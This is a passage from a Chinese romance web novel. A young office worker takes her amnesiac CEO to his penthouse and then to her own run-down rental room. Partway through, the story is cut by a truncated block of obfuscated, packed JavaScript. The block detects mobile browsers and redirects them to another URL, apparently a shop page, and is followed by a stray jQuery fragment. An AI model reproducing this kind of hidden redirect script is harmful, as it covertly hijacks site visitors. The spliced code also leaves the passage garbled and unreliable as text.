陆时琛想了想,皱起眉。
“不记得了。”他说,“但是应该有家吧?”
林栖:“……”
你问我?我问谁?
她拿出手机。
“你等着,我问问。”
她找到主管的微信,打字:【主管,你知道总裁住哪儿吗?】
主管秒回:【???你要干嘛???】
【他让我送他回家,我不知道地址。】
主管发来一个震惊的表情包,然后是一个地址。
【这是他家?】
【这是总裁办的登记地址,应该没错。栖姐你到底在搞什么!!!】
林栖没有回复。
她把地址给陆时琛看。
陆时琛看了一眼,点点头。
“好像是的。”
半个小时后,林栖站在江景壹号的顶层公寓里,陷入了沉思。
她知道有钱人住得好。
但她不知道有钱人住得这么好。
三百六十度落地窗,俯瞰整个城市的天际线。
江景在脚下蜿蜒,阳光在江面上跳跃。
家具是简约的现代风,黑白灰的色调,每一件都像是从杂志里搬出来的。
她站在客厅中央,手足无措。
“坐。”陆时琛指了指沙发。
林栖小心翼翼地坐下。
沙发软得不可思议,她整个人陷进去,差点起不来。
“要喝什么?”
“随便。”
陆时琛去开放式厨房的冰箱里看了看,回头问她:“牛奶?果汁?还是咖啡?”
“牛奶就行。”
他倒了一杯牛奶,放进微波炉里热了三十秒,然后端过来放在她面前。
林栖看着那杯牛奶。
杯壁温热,刚刚好。
“你怎么知道我要喝热的?”
陆时琛愣了一下。
“不知道。”他想了想,“就是觉得……应该热一下。”
林栖沉默了一会儿。
“你以前是不是对别人也这么好?”
陆时琛皱眉,像是在努力回想。
“不记得了。”他说,“但是应该没有。”
“为什么?”
“因为……”他看着她,眼神认真,“只想对你这样。”
林栖的心跳漏了一拍。
她垂下眼睛,端起牛奶喝了一口。
温热的液体滑进胃里,熨帖得让人想叹气。
“那个,”她放下杯子,“你现在还没恢复记忆,很多事情不记得。等你恢复了,可能就不这么想了。”
陆时琛在她旁边坐下,看着她。
“你好像一直觉得我会变。”
林栖没说话。
“你是不是不相信我?”
林栖抬起头,对上他的视线。
“我们本来就不是一个世界的人。你现在只是失忆了,等你想起来,你就会发现,你根本不需要我这种人。”
“哪种人?”
“普通人。”林栖说,“月薪八千,住出租屋,每天摸鱼等下班,最大的愿望是回学校拿毕业证的那种普通人。”
陆时琛沉默了一会儿。
“听起来挺好的。”
林栖愣住了。
“好什么?”
“摸鱼。”他说,“我也想摸鱼。”
林栖:“……”
“还有回学校拿毕业证。”他继续说,“我好像没有毕业证,不知道为什么。”
林栖忍不住笑了。
“你肯定有的,只是忘了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342442|199412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“那等你拿到毕业证,给我看看。”
“好。”
气氛忽然轻松起来。
“那个……”她开口。
他抬起头:“嗯?”
“我需要回一趟出租屋。”
陆时琛站起来:“我陪你去。”
“不用,我自己——”
“我陪你去。”他打断她,语气平静但不容置疑,“你一个人我不放心。”
林栖张了张嘴,想说“有什么不放心的”,但对上他那双认真的眼睛,话到嘴边又咽了回去。
“……好吧。”
四十分钟后,林栖站在自己出租屋的门口,忽然有点后悔带他一起来。
这栋楼太老了。
楼道里的灯忽明忽暗,墙上贴满了小广告,楼梯扶手锈迹斑斑,空气里弥漫着一股说不清道不明的味道。
她偷看了一眼陆时琛。
他穿着那件深灰色毛衣,站在逼仄的楼道里,整个人显得格格不入。
像一只误入贫民窟的天鹅。
“就是这儿。”她掏出钥匙,打开门。
门后是一个不到二十平米的房间,放着一张床、一张桌子、一个衣柜,就已经满满当当。窗户朝北,终年不见阳光,晾在窗台上的衣服永远潮乎乎的。
林栖走进去,从桌上拿起自己的笔记本电脑。
回头一看,陆时琛站在门口,正打量着这个房间。
她忽然有点不好意思。
“那个……有点乱。”
陆时琛收回视线,看着她。
“你住在这儿?”
“嗯。”林栖点点头,“一个月两千,押一付三,离公司近。”
陆时琛沉默了一会儿。
然后他问:“你是我老婆,为什么住在这儿?”